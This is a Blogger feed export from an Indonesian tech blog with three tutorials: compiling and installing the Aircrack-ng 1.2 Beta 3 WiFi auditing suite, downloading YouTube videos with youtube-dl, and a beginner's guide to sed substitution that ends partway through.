tag:blogger.com,1999:blog-43229244743121231432024-03-05T15:25:35.186+07:00Let's kicking ass!t193r said : "To be hacked by our hand, is an honor"adminhttp://www.blogger.com/profile/06716442503203099752noreply@blogger.comBlogger180125tag:blogger.com,1999:blog-4322924474312123143.post-66202012288684070372014-06-12T15:20:00.001+07:002014-06-12T15:20:28.579+07:00Installing Aircrack-ng 1.2 Beta 3 Including Airolib-ng SupportSiapa yang nggak kenal sama aplikasi kondang yang satu ini. Ya! <a href="http://www.aircrack-ng.org/" target="_blank">Aircrack-ng</a>! Adalah aplikasi peretas kunci 802.11 WEP dan WPA/PSK dalam WiFi penetration testing.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.aircrack-ng.org/resources/aircrack-ng-new-logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://www.aircrack-ng.org/resources/aircrack-ng-new-logo.jpg" /></a></div>
<br />
Dengan changelog sebagai berikut<br />
<br />
<ul>
<li>Finally properly fixed the buffer overflow.</li>
<li>Fixed channel parsing (eg 108, 125) and updated radiotap parser.</li>
<li>Various other small fixes.</li>
</ul>
<br />
Sebelum saya memberikan tutorial terbaru mengenai Aircrack-ng, saya akan memberikan tutorial untuk menginstal Aircrack-ng version 1.2 Beta 3 yang dirilis pada tanggal 31 Maret 2014, dengan dukungan Airolib-ng.<br />
<br />
<a name='more'></a>Dependencies installation<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># apt-get update</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace; font-size: 15px; line-height: 1.1em;"># apt-get install build-essential </span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">libnl-genl-3-dev </span></span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">libnl-3-dev </span></span><span style="background-color: transparent; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">sqlite3 libsqlite3-dev</span></span></pre>
<br />
Download Aircrack-ng 1.2 Beta 3<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ wget http://download.aircrack-ng.org/aircrack-ng-1.2-beta3.tar.gz</span></pre>
<br />
Extract file<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ tar -xvf aircrack-ng-1.2-beta3.tar.gz</span></pre>
<br />
Compile source<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ cd aircrack-ng-1.2-beta3/</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ make sqlite=true</span></pre>
<br />
Install Aircrack-ng 1.2 Beta 3<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># make sqlite=true install</span></pre>
<br />
Cek Aircrack-ng<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># aircrack-ng</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-Eh_-Deq7uzI/U5liQ7CEL5I/AAAAAAAABmU/aGcWroG3Qak/s1600/Screenshot+from+2014-06-12+15:17:16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-Eh_-Deq7uzI/U5liQ7CEL5I/AAAAAAAABmU/aGcWroG3Qak/s1600/Screenshot+from+2014-06-12+15:17:16.png" height="219" width="320" /></a></div>
<br />
<br />Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com15tag:blogger.com,1999:blog-4322924474312123143.post-40387009219177317042014-05-30T16:42:00.000+07:002014-05-30T16:42:28.477+07:00YOUTUBE-DL: Download YouTube Videos from Linux Terminal<blockquote class="tr_bq">
Real Hackers Using CLI</blockquote>
Begitulah kata kebanyakan orang. Beberapa dari kita masih mendownload video dari <a href="https://www.youtube.com/" target="_blank">YouTube</a> melalui browser, entah itu dengan <a href="https://chrome.google.com/webstore/category/extensions" target="_blank">Google Chrome Extensions</a>, atau dengan <a href="https://addons.mozilla.org/" target="_blank">Firefox Add Ons</a>. Namun tahukah kamu, kamu juga bisa mengunduh video dari YouTube dengan menggunakan terminal?<br />
<br />
Saya kenalkan kepada kalian. <a href="http://rg3.github.io/youtube-dl/" target="_blank">YOUTUBE-DL</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-Wk2mXHNxxgc/U4hB4P83j6I/AAAAAAAABik/wwBYofhz2YY/s1600/Screenshot+from+2014-05-30+15:31:04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-Wk2mXHNxxgc/U4hB4P83j6I/AAAAAAAABik/wwBYofhz2YY/s1600/Screenshot+from+2014-05-30+15:31:04.png" height="141" width="320" /></a></div>
<br />
<a name='more'></a><b>Installation</b><br />
<br />
Untuk penggunaan global (user lain dalam OS kamu dapat menggunakan youtube-dl)<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># curl https://yt-dl.org/downloads/2014.05.19/youtube-dl -o /usr/local/bin/youtube-dl</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># chmod a+x /usr/local/bin/youtube-dl</span></pre>
<br />
Untuk penggunaan local (hanya kamu yang bisa menggunakan youtube-dl)<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ mdkir ~/.bin</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ curl https://yt-dl.org/downloads/2014.05.19/youtube-dl -o ~/.bin/youtube-dl</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ chmod a+x ~/.bin/youtube-dl</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ echo "PATH=$PATH:~/.bin" >> ~/.profile</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ source ~/.profile</span></pre>
<br />
<b>How to use youtube-dl</b><br />
<br />
Ini adalah cara sederhana untuk menggunakan youtube-dl. Pada kali ini saya akan mencoba mengunduh video ini<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.youtube.com/embed/l5dIWsmpH3s?feature=player_embedded' frameborder='0'></iframe></div>
<br />
Dengan URL<br />
<br />
<a href="https://www.youtube.com/watch?v=l5dIWsmpH3s" target="_blank">https://www.youtube.com/watch?v=l5dIWsmpH3s</a><br />
<br />
Pertama, cari tahu daftar format yang bisa kamu unduh<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ youtube-dl -F www.youtube.com/watch?v=l5dIWsmpH3s</span></pre>
<br />
Output<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;"><span style="color: #858585;">[youtube] Setting language
[youtube] l5dIWsmpH3s: Downloading webpage
[youtube] l5dIWsmpH3s: Downloading video info webpage
[youtube] l5dIWsmpH3s: Extracting video information
[youtube] l5dIWsmpH3s: Encrypted signatures detected.
[youtube] l5dIWsmpH3s: Downloading js player vfldOnicU
[info] Available formats for l5dIWsmpH3s:
format code extension resolution note
171 webm audio only DASH audio , audio@ 48k (worst)
140 m4a audio only DASH audio , audio@128k
160 mp4 144p DASH video , video only
242 webm 240p DASH video , video only
133 mp4 240p DASH video , video only
243 webm 360p DASH video , video only
134 mp4 360p DASH video , video only
244 webm 480p DASH video , video only
135 mp4 480p DASH video , video only
247 webm 720p DASH video , video only
136 mp4 720p DASH video , video only
248 webm 1080p DASH video , video only
137 mp4 1080p DASH video , video only
17 3gp 176x144
36 3gp 320x240
5 flv 400x240
43 webm 640x360
18 mp4 640x360
</span><b><span style="color: red;">22 mp4 1280x720 (best)</span></b></span></span></pre>
<br />
Tentukan mana format yang ingin kamu unduh. Misalkan seperti format yang dicetak tebal.<br />
<br />
Maka perintah selanjutnya adalah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ youtube-dl -f 22 www.youtube.com/watch?v=l5dIWsmpH3s</span></pre>
<br />
22 adalah kode format untuk video yang muncul dari list format. Jika kamu prefer music only (tanpa video), kamu bisa mengunduh format list yang memiliki catatan audio. Misalkan<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;"><span style="color: #858585;">[youtube] Setting language
[youtube] l5dIWsmpH3s: Downloading webpage
[youtube] l5dIWsmpH3s: Downloading video info webpage
[youtube] l5dIWsmpH3s: Extracting video information
[youtube] l5dIWsmpH3s: Encrypted signatures detected.
[youtube] l5dIWsmpH3s: Downloading js player vfldOnicU
[info] Available formats for l5dIWsmpH3s:
format code extension resolution note
</span><b><span style="color: red;">171 webm audio only DASH audio , audio@ 48k (worst)
140 m4a audio only DASH audio , audio@128k</span></b><span style="color: #858585;">
160 mp4 144p DASH video , video only
242 webm 240p DASH video , video only
133 mp4 240p DASH video , video only
243 webm 360p DASH video , video only
134 mp4 360p DASH video , video only
244 webm 480p DASH video , video only
135 mp4 480p DASH video , video only
247 webm 720p DASH video , video only
136 mp4 720p DASH video , video only
248 webm 1080p DASH video , video only
137 mp4 1080p DASH video , video only
17 3gp 176x144
36 3gp 320x240
5 flv 400x240
43 webm 640x360
18 mp4 640x360
</span><span style="color: #999999;">22 mp4 1280x720 (best)</span></span></span></pre>
<br />
Ada dua format yang bisa kamu pilih. DIsarankan untuk mengunduh audio format yang memiliki kualitas >= 128k. Maka kode format yang akan kita unduh adalah 140.<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ youtube-dl -f 140 www.youtube.com/watch?v=l5dIWsmpH3s</span></pre>
<br />
<div style="text-align: center;">
MORE TO COME!!!</div>
Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com1tag:blogger.com,1999:blog-4322924474312123143.post-30152004162209715132014-05-30T14:27:00.001+07:002014-05-30T14:27:16.063+07:00Mastering SED [Stream Editor]Pernah membaca sed dalam sebuah command line? Belum? Perhatikan ini.<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># echo "My name is Windows" | sed s/Windows/Linux/</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-aZBX7KJ8jAA/U4gbcC55haI/AAAAAAAABgI/tcfUcJQyKNQ/s1600/Screenshot+from+2014-05-30+12:47:00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-aZBX7KJ8jAA/U4gbcC55haI/AAAAAAAABgI/tcfUcJQyKNQ/s1600/Screenshot+from+2014-05-30+12:47:00.png" height="221" width="320" /></a></div>
<br />
Tertarik? Mari kita mulai dari berkenalan dengan Tn. Sed.<br />
<br />
<a name='more'></a><br />
Pertanyaan pertama mungkin, apa yang dilakukan oleh Tn. Sed pada perintah di atas?<br />
<br />
SED adalah kependekan dari <b>S</b>tream <b>ED</b>itor. Dimana stream (aliran) yang dimaksud?<br />
<br />
Ini adalah input dari command line<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># echo "My name is Windows"</span></pre>
<br />
Ini adalah output dari command line<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">My name is Windows</span></pre>
<br />
Kamu tidak melihat stream (alirannya), karena dia melewati pipe (pipa) untuk sampai ke output. Mungkinkah kita mengubah alirannya? Tentu saja. Dengan cara menambahkan pipe lain yang memiliki fungsi mengubah stream sebelumnya.<br />
<br />
INPUT -> [PIPE] -> <span style="color: red;">OUTPUT</span> -> <b>[PIPE] SED</b> -> <span style="color: lime;">OUTPUT</span><br />
<br />
INPUT echo, melewati sebuah jalur menuju <span style="color: red;">OUTPUT</span>. <span style="color: red;">OUTPUT</span> akan menuju <b>[PIPE SED]</b> yang akan melewati <span style="color: lime;">OUTPUT</span> terakhir.<br />
<br />
Jadi bagaimana dengan<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># echo "My name is Windows" | sed s/Windows/Linux/</span></pre>
<br />
Perhatikan "|", lambang ini disebut dengan "PIPE" (pipa). Pipa ini mengalirkan output dari<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># echo "My name is Windows"</span></pre>
<br />
ke<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">sed s/Windows/Linux/</span></pre>
<br />
SED harus memiliki standard input. Dimana dia mendapatkan standard input? Perhatikan kembali<br />
<br />
INPUT -> [PIPE] -> <span style="color: red;">OUTPUT</span> -> <b>[PIPE] SED</b> -> <span style="color: lime;">OUTPUT</span><br />
<br />
<span style="color: red;">OUTPUT</span> pertama MASUK ke dalam <b>[PIPE] SED</b>. Apapun yang masuk akan disebut input bukan? Maka kesimpulannya adalah, INPUT SED didapatkan dari OUTPUT ECHO. Masuk akal?<br />
<br />
Perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># echo "My name is Windows"</span></pre>
<br />
akan menghasilkan<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">My name is Windows</span></pre>
<br />
Yang kemudian mengalir ke [PIPE] SED, dimana di dalam ini terdapat proses<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"><span style="color: #858585;">sed </span><b><span style="color: cyan;">s</span></b><b><span style="color: white;">/</span></b><span style="color: red;">Windows</span><b><span style="color: white;">/</span></b><span style="color: lime;">Linux</span><b><span style="color: white;">/</span></b></span></pre>
<br />
yang berfungsi mengganti (<b><span style="color: cyan;">s</span></b> = substitution) <span style="color: red;">Windows</span>, menjadi <span style="color: lime;">Linux</span><br />
<br />
maka hasil akhirnya adalah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">My name is Linux</span></pre>
<br />
<b>SED LEVEL: 1</b><br />
<br />
Mengenal esensi SED<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"><span style="color: #858585;">sed </span><b><span style="color: cyan;">s</span></b><b><span style="color: white;">/</span></b><span style="color: red;">Windows</span><b><span style="color: white;">/</span></b><span style="color: lime;">Linux</span><b><span style="color: white;">/</span></b></span></pre>
<br />
<b><span style="color: cyan;">s</span></b> : substitusi<br />
<b style="background-color: black;"><span style="color: white;">/</span></b> : delimiter<br />
<span style="color: red;">Windows</span> : string lama<br />
<span style="color: lime;">Linux</span> : string baru<br />
<br />
Pada umumnya, sed memiliki 3 (tiga) delimiter. Delimiter yang digunakan oleh SED TIDAK hanya "/" (slash). Kamu juga bisa menggunakan "_" (underscore), ":" (colon), "-" (dash), apapun! Pastikan kamu menggunakan delimiter yang sama dalam satu PIPE.<br />
<br />
Menggunakan underscore sebagai delimiter<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "My name is Windows" | sed s_Windows_Linux_</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-6p8nOTDL6q4/U4ggcBJTiGI/AAAAAAAABgY/WYIWD0z8e_Y/s1600/Screenshot+from+2014-05-30+13:08:23.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-6p8nOTDL6q4/U4ggcBJTiGI/AAAAAAAABgY/WYIWD0z8e_Y/s1600/Screenshot+from+2014-05-30+13:08:23.png" height="67" width="320" /></a></div>
<br />
Menggunakan colon sebagai delimiter<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "My name is Windows" | sed s:Windows:Linux:</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-5Gd7C_dQRVM/U4ggvYqI6yI/AAAAAAAABgg/QOyCA2DZ_7Y/s1600/Screenshot+from+2014-05-30+13:09:41.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-5Gd7C_dQRVM/U4ggvYqI6yI/AAAAAAAABgg/QOyCA2DZ_7Y/s1600/Screenshot+from+2014-05-30+13:09:41.png" height="67" width="320" /></a></div>
<br />
Menggunakan dash sebagai delimiter<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "My name is Windows" | sed s-Windows-Linux-</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-uSSug6k6QYI/U4ghEI0CgwI/AAAAAAAABgo/Oc239uSgjEw/s1600/Screenshot+from+2014-05-30+13:11:06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-uSSug6k6QYI/U4ghEI0CgwI/AAAAAAAABgo/Oc239uSgjEw/s1600/Screenshot+from+2014-05-30+13:11:06.png" height="67" width="320" /></a></div>
<br />
<b>Case 1</b><br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "You are using /bin/bash"</span></span></pre>
<br />
Jika kamu menggunakan delimiter slash, bagaimana mengubah /bin/bash menjadi /usr/bin/zsh?<br />
<br />
Begini?<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "You are using /bin/bash" | sed s//bin/bash//usr/bin/zsh/</span></span></pre>
<br />
Tidak! Lihat kembali /bin/bash, dia memiliki karakter slash, dimana slash juga dipakai sebagai delimiter sed kita. Kita harus mengkutip /bin/bash dan /usr/bin/zsh. Ada banyak cara untuk mengkutip string yang memiliki karatker yang sama dengan delimiter sed yang kita pakai. Biasanya kita menggunakan "\" backlash untuk melakukan exception terhadap karakter "/" slash.<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;"><span style="color: #858585;">echo "You are using /bin/bash" | sed 's</span><span style="color: white;">/</span><b><span style="color: red;">\/bin\/bash</span></b><span style="color: white;">/</span><b><span style="color: lime;">\/usr\/bin\/zsh</span></b><span style="color: white;">/</span></span></span><span style="color: #858585; font-family: 'Courier New', Courier, monospace; font-size: 15px; line-height: 16.5px;">'</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-uDNmDf80chk/U4gjA6Hk0dI/AAAAAAAABg0/QKrpvSwoBbo/s1600/Screenshot+from+2014-05-30+13:18:11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-uDNmDf80chk/U4gjA6Hk0dI/AAAAAAAABg0/QKrpvSwoBbo/s1600/Screenshot+from+2014-05-30+13:18:11.png" height="56" width="320" /></a></div>
<br />
Jika kita menggunakan delimiter SELAIN slash, ini akan menjadi lebih mudah. Kita tidak perlu lagi melakukan exception terhadap karaker "/" slash. Misalnya ":" colon.<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "You are using /bin/bash" | sed 's:/bin/bash:/usr/bin/zsh:'</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-L8oczjdthqU/U4gjW0OLlWI/AAAAAAAABg8/TshLbe2-DlA/s1600/Screenshot+from+2014-05-30+13:20:33.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-L8oczjdthqU/U4gjW0OLlWI/AAAAAAAABg8/TshLbe2-DlA/s1600/Screenshot+from+2014-05-30+13:20:33.png" height="56" width="320" /></a></div>
<br />
Matching Pattern<br />
<br />
Sed juga bisa digunakan untuk mencari pattern yang cocok. Biasanya kita menggunakan perintah GREP, namun SED juga bisa melakukan ini.<br />
<br />
Case 2<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "abcde 12345"</span></span></pre>
<br />
Bagaimana cara menemukan 12345 dalam suatu output? Biasanya kita menggunakan GREP dalam hal ini<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "abcde 12345" | grep 12345</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-d-fgQ9Qm6qc/U4glHkohC7I/AAAAAAAABhI/vh3tiORbJuQ/s1600/Screenshot+from+2014-05-30+13:28:22.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-d-fgQ9Qm6qc/U4glHkohC7I/AAAAAAAABhI/vh3tiORbJuQ/s1600/Screenshot+from+2014-05-30+13:28:22.png" height="56" width="320" /></a></div>
<br />
Kita sedang membicarakan SED kan? Jadi bagaimana jika menggunakan SED?<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "abcde 12345" | sed 's/[0-9][0-9]*/(&)/'</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-fMdz54EERr4/U4grGnUxaTI/AAAAAAAABhw/esEWZ-i2ZUw/s1600/Screenshot+from+2014-05-30+13:53:58.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-fMdz54EERr4/U4grGnUxaTI/AAAAAAAABhw/esEWZ-i2ZUw/s1600/Screenshot+from+2014-05-30+13:53:58.png" height="72" width="320" /></a></div>
<br />
Atau<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "abcde 12345" | sed 's/[0-9][0-9]*/"&"/'</span></span></pre>
<br />
Atau<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "abcde 12345" | sed 's/[0-9].*/(&)/'</span></span></pre>
<br />
Atau<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "abcde 12345" | sed 's/[0-9][0-9]*/[&]/'</span></span></pre>
<br />
Bagaimana jika hanya pattern yang memiliki unsur huruf?<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "abcde 12345" | sed 's/[a-z]*/[&]/'</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-t43X_a-rQZQ/U4grwJG2aOI/AAAAAAAABh4/hss393l7JD0/s1600/Screenshot+from+2014-05-30+13:56:45.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-t43X_a-rQZQ/U4grwJG2aOI/AAAAAAAABh4/hss393l7JD0/s1600/Screenshot+from+2014-05-30+13:56:45.png" height="72" width="320" /></a></div>
<br />
Menjaga bagian dari suatu pattern<br />
<br />
Case 3<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "abcde12345fghijk"</span></span></pre>
<br />
Mencetak abcdefghijk (mengeleminasi angka).<br />
<br />
